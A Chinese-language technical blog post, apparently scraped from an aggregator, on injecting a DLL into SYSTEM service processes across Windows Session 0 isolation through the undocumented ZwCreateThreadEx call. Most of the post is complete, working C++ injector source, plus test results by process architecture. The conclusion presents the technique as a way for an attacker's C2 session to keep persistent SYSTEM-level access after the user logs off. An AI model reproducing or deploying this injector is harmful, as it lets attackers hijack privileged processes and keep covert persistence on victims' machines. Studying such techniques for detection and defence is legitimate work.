远程线程注入DLL突破session 0 隔离
远程线程注入DLL突破session 0 隔离
0x00 前言
补充上篇的远程线程注入,突破系统SESSION 0 隔离,向系统服务进程中注入DLL。
0x01 介绍
通过CreateRemoteThread实现的远程线程注入,流程大致就是:
通过OpenProcess获取目标进程句柄。
通过VirtualAllocEx在目标进程空间中申请内存,通过WriteProcessMemory放入需要载入的dll的路径。
通过GetModuleHandleA获取诸如kernel32.dll这类系统dll的模块句柄,进而获取LoadLibraryA这类载入动态链接库的函数地址(固定)
通过CreateRemoteThread的参数传入目标进程对象句柄、写入到目标进程空间的dll路径、LoadLibraryA函数地址,实现中目标中创建多线程加载dll。
而如果想要突破SESSION 0隔离,实现远程线程注入,则是使用比CreateRemoteThread更底层的内核API ZwCreateThreadEx。
这里补充下SESSION 0隔离是什么。
SESSION 0 隔离:
https://docs.microsoft.com/zh-cn/previous-versions/msdn10/Ee791007(v=MSDN.10)
https://docs.microsoft.com/zh-cn/previous-versions/ee663077(v=msdn.10)?redirectedfrom=MSDN
在Windows XP、Windows Server 2003,以及更老版本的Windows操作系统中,服务和应用程序使用相同的会话(Session)运行,而这个会话是由第一个登录到控制台的用户启动的。该会话就叫做Session 0。
而从Windows Vista开始,只有服务可以托管到Session 0中,用户应用程序和服务之间会被隔离,并需要运行在用户登录到系统时创建的后续会话中。例如第一个登录的用户创建 Session 1,第二个登录的用户创建Session 2,以此类推,如下图所示。

为了避免应用程序权限混乱造成的风险,微软提供了SESSION 0 隔离机制,而攻击者为了提升权限操作服务拥有的权限(SYSTEM)则又了突破SESSION 0 隔离。
这里ZwCreateThreadEx函数在不同位数的系统拥有不同的函数声明。
ZwCreateThreadEx函数声明:
#ifdef _WIN64
typedef DWORD(WINAPI *typedef_ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
ULONG CreateThreadFlags,
SIZE_T ZeroBits,
SIZE_T StackSize,
SIZE_T MaximumStackSize,
LPVOID pUnkown);
#else
typedef DWORD(WINAPI *typedef_ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
BOOL CreateSuspended,
DWORD dwStackSize,
DWORD dw1,
DWORD dw2,
LPVOID pUnkown);
#endif
为什么CreateRemoteThread不能实现系统服务进程DLL注入?
书里直接解释的是由于SESSION 0隔离机制在内核6.0之后(vista、7、8...),当创建一个进程后,并不会立即运行,通过先挂起进程,查看要运行的进程所在会话层之后再决定是否恢复进程运行(待逆向观察)。
而CreateRemoteThread实现内部调用了ZwCreateThreadEx创建远程线程,但是CreateSuspended的参数值为1导致线程无法恢复运行,导致DLL注入失败。
而我们只需要直接调用ZwCreateThreadEx,并在程序运行指定CreateSuspended为0即可实现远程线程注入DLL突破SESSION 0隔离。
0x02 编码实现
由于ZwCreateThreadEx函数在nydll.dll中没有声明,所以需要通过GetProcAddress获取ZwCreateThreadEx的函数地址来调用。
InjectDll.h
#ifndef _INJECT_DLL_H_
#define _INJECT_DLL_H_
#include <Windows.h>
// 使用 ZwCreateThreadEx 实现远线程注入
BOOL ZwCreateThreadExInjectDll(DWORD dwProcessId, char* pszDllFileName);
#endif
Test_Session0_injectPID.cpp
// Test_Session0_injectPID.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//
#include <iostream>
#include "InjectDll.h"
void ShowError(char* pszText)
{
char szErr[MAX_PATH] = { 0 };
::wsprintf(szErr, "%s Error[%d]\n", pszText, ::GetLastError());
::MessageBox(NULL, szErr, "ERROR", MB_OK);
}
// 使用 ZwCreateThreadEx 实现远线程注入
BOOL ZwCreateThreadExInjectDll(DWORD dwProcessId, char* pszDllFileName)
{
HANDLE hProcess = NULL;
SIZE_T dwSize = 0;
LPVOID pDllAddr = NULL;
FARPROC pFuncProcAddr = NULL;
HANDLE hRemoteThread = NULL;
DWORD dwStatus = 0;
// 打开注入进程,获取进程句柄
hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
if (NULL == hProcess)
{
ShowError("OpenProcess");
return FALSE;
}
// 在注入进程中申请内存
dwSize = 1 + ::lstrlen(pszDllFileName);
pDllAddr = ::VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
if (NULL == pDllAddr)
{
ShowError("VirtualAllocEx");
return FALSE;
}
// 向申请的内存中写入数据
if (FALSE == ::WriteProcessMemory(hProcess, pDllAddr, pszDllFileName, dwSize, NULL))
{
ShowError("WriteProcessMemory");
return FALSE;
}
// 加载 ntdll.dll
HMODULE hNtdllDll = ::LoadLibrary("ntdll.dll");
if (NULL == hNtdllDll)
{
ShowError("LoadLirbary");
return FALSE;
}
// 获取LoadLibraryA函数地址
pFuncProcAddr = ::GetProcAddress(::GetModuleHandle("Kernel32.dll"), "LoadLibraryA");
if (NULL == pFuncProcAddr)
{
ShowError("GetProcAddress_LoadLibraryA");
return FALSE;
}
// 获取ZwCreateThread函数地址
#ifdef _WIN64
typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
ULONG CreateThreadFlags,
SIZE_T ZeroBits,
SIZE_T StackSize,
SIZE_T MaximumStackSize,
LPVOID pUnkown);
#else
typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
BOOL CreateSuspended,
DWORD dwStackSize,
DWORD dw1,
DWORD dw2,
LPVOID pUnkown);
#endif
typedef_ZwCreateThreadEx ZwCreateThreadEx = (typedef_ZwCreateThreadEx)::GetProcAddress(hNtdllDll, "ZwCreateThreadEx");
if (NULL == ZwCreateThreadEx)
{
ShowError("GetProcAddress_ZwCreateThread");
return FALSE;
}
// 使用 ZwCreateThreadEx 创建远线程, 实现 DLL 注入
dwStatus = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hProcess, (LPTHREAD_START_ROUTINE)pFuncProcAddr, pDllAddr, 0, 0, 0, 0, NULL);
if (NULL == hRemoteThread)
{
ShowError("ZwCreateThreadEx");
return FALSE;
}
// 关闭句柄
::CloseHandle(hProcess);
::FreeLibrary(hNtdllDll);
return TRUE;
}
int main(int argc, char* argv[])
{
#ifndef _WIN64
BOOL bRet = ZwCreateThreadExInjectDll(atoi(argv[1]), argv[2]);
#else
BOOL bRet = ZwCreateThreadExInjectDll(atoi(argv[1]), argv[2]);
#endif
if (FALSE == bRet)
{
std::cout << "Inject Dll Error.\n";
}
std::cout << "Inject Dll OK.\n";
return 0;
}
0x03 效果测试
通过procexp可查看进程所属session。

编写了多个位数的inject 程序,多个位数的dll。
结果发现:
x64 inject程序远程线程注入x64 dll到x64可行。
x64 inject程序远程线程注入x86 dll到x64可行,但是没成功到目标x64程序。
X86 inject程序远程线程注入x64 dll到x64不可行。
X86 inject程序远程线程注入x86 dll到x64不可行。

测试成功注入DLL到SESSION 0进程。
0x04 总结
会话隔离会导致诸多问题,比如一个c2的会话是system,不能截屏看到用户界面,只能以用户权限进程屏幕截屏。不过这里突破session 0到系统服务后可以方便维权,只要机器不关,就算用户退出登录,也可以持久维权。
0x05 参考
https://www.cnblogs.com/gnielee/archive/2010/04/07/session0-isolation-part1.html
https://www.cnblogs.com/gnielee/archive/2010/04/08/session0-isolation-part2.html
https://docs.microsoft.com/zh-cn/previous-versions/msdn10/Ee791007(v=MSDN.10)
https://docs.microsoft.com/zh-cn/previous-versions/ee663077(v=msdn.10)?redirectedfrom=MSDN
远程线程注入DLL突破session 0 隔离的更多相关文章
- 远程线程注入dll,突破session 0
前言 之前已经提到过,远线程注入和内存写入隐藏模块,今天介绍突破session 0的dll注入 其实今天写这个的主要原因就是看到倾旋大佬有篇文章提到:有些反病毒引擎限制从lsass中dump出缓存,可 ...
- 远程线程注入DLL
远程线程注入 0x00 前言 远程线程注入是一种经典的DLL注入技术.其实就是指一个新进程中另一个进程中创建线程的技术. 0x01 介绍 1.远程线程注入原理 画了一个图大致理解了下远程线程注入dll ...
- 关于突破 SESSION 0 隔离场景发现的一些问题
0x00 Tricks 0x01 用ZwCreateThreadEx 在 Windows 10 下直接通过管理员权限+SeDebugPrivilege启用. 0x02 用CreateRemoteThr ...
- 恶意软件开发——突破SESSION 0 隔离的远线程注入
一.前言 在Windows XP,Windows Server 2003以及更早的版本中,第一个登录的用户以及Windows的所有服务都运行在Session 0上,这样的做法导致用户使用的应用程序可能 ...
- 详细解读:远程线程注入DLL到PC版微信
一.远程线程注入的原理 1.其基础是在 Windows 系统中,每个 .exe 文件在双击打开时都会加载 kernel32.dll 这个系统模块,该模块中有一个 LoadLibrary() 函数,可以 ...
- CreateRemoteThread远程线程注入Dll与Hook
CreateRemoteThread虽然很容易被检测到,但是在有些场合还是挺有用的.每次想用的时候总想着去找以前的代码,现在在这里记录一下. CreateRemoteThread远程注入 DWORD ...
- 【windows核心编程】使用远程线程注入DLL
前言 该技术是指通过在[目标进程]中创建一个[远程线程]来达到注入的目的. 创建的[远程线程]函数为LoadLibrary, 线程函数的参数为DLL名字, 想要做的工作在DLL中编写. 示意图如下: ...
- 微信 电脑版 HOOK(WeChat PC Hook)- 远程线程注入dll原理
Windows加载dll的特性 1.Windows系统中,每个exe软件运行的时候,会加载系统模块kernel32.dll 2.所有加载进exe软件的系统模块kernel32.dll,内存地址都是一样 ...
- 远程线程注入突破SESSION 0
远程线程注入突破SESSION 0 SESSION 0 隔离 在Windows XP.Windows Server 2003,以及更老版本的Windows操作系统中,服务和应用程序使用相同的会话(Se ...
随机推荐
- mybatis动态sql总结
前言 平时在开发中,针对动态sql这块目前是薄弱点,自己根据官网在对应项目边测试边写博客,此篇只是为了加深动态sql的熟练度,有不到之处敬请批评指正! 1.if 使用动态 SQL 最常见情景是根据条件 ...
- Bugku-web-字符?正则?
题目意思很明显,根据给出的规则构造出合理的正则表达式然后通过get方式提交弹出Flag. i:字体大小 /..../表示开始和结束. .号表示匹配0-9任一数字 *号表示重复前一个字符多次 {4,7} ...
- DHCP\PXE+kickstart网络装机平台
DHCP概述及原理: DHCP地址分配的四次会话 DISCOVERY -****OFFER -REQUEST -ACK 服务端基本概念: 租期:允许客户机组用IP地址的时间期限,单位为秒 作用 ...
- C++ //函数调用运算符重载 (仿函数)
1 //函数调用运算符重载 2 3 #include <iostream> 4 #include <string> 5 using namespace std; 6 7 //函 ...
- 阿里面试Redis常考问题
一提到Redis缓存,我们不得不了解的三个问题就是:缓存雪崩.缓存击穿和缓存穿透.这三个问题一旦发生,会导致大量的请求直接请求到数据库层.如果并发压力大,就会导致数据库崩溃.那p0级的故障是没跑了. ...
- 为VIM添加Python扩展
VIM的自带的脚本功能很强,但只能用在VIM自己上,如果让它支持Python脚本,那简直就无敌了,这个想法当然不是我想出来的,应该说英雄所见略同,于是乎vim7.2就内建了对python2.4的支持, ...
- Python断言及常用断言函数总结
Python断言 Python assert 语句,又称断言语句,可以看做是功能缩小版的 if 语句,它用于判断某个表达式的值,如果值为真,则程序可以继续往下执行:反之,Python 解释器会报 As ...
- linux命令别名
p.p1 { margin: 0; font: 20px Menlo; color: rgba(0, 0, 0, 1) } span.s1 { font-variant-ligatures: no-c ...
- ASP.NET Core教程:ASP.NET Core使用AutoMapper
一.前言 在实际的项目开发过程中,我们使用各种ORM框架可以使我们快捷的获取到数据,并且可以将获取到的数据绑定到对应的List<T>中,然后页面或者接口直接显示List<T>中 ...
- wpf 中 theme 的使用 和 listview 模板的使用.
theme 文件 <ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentatio ...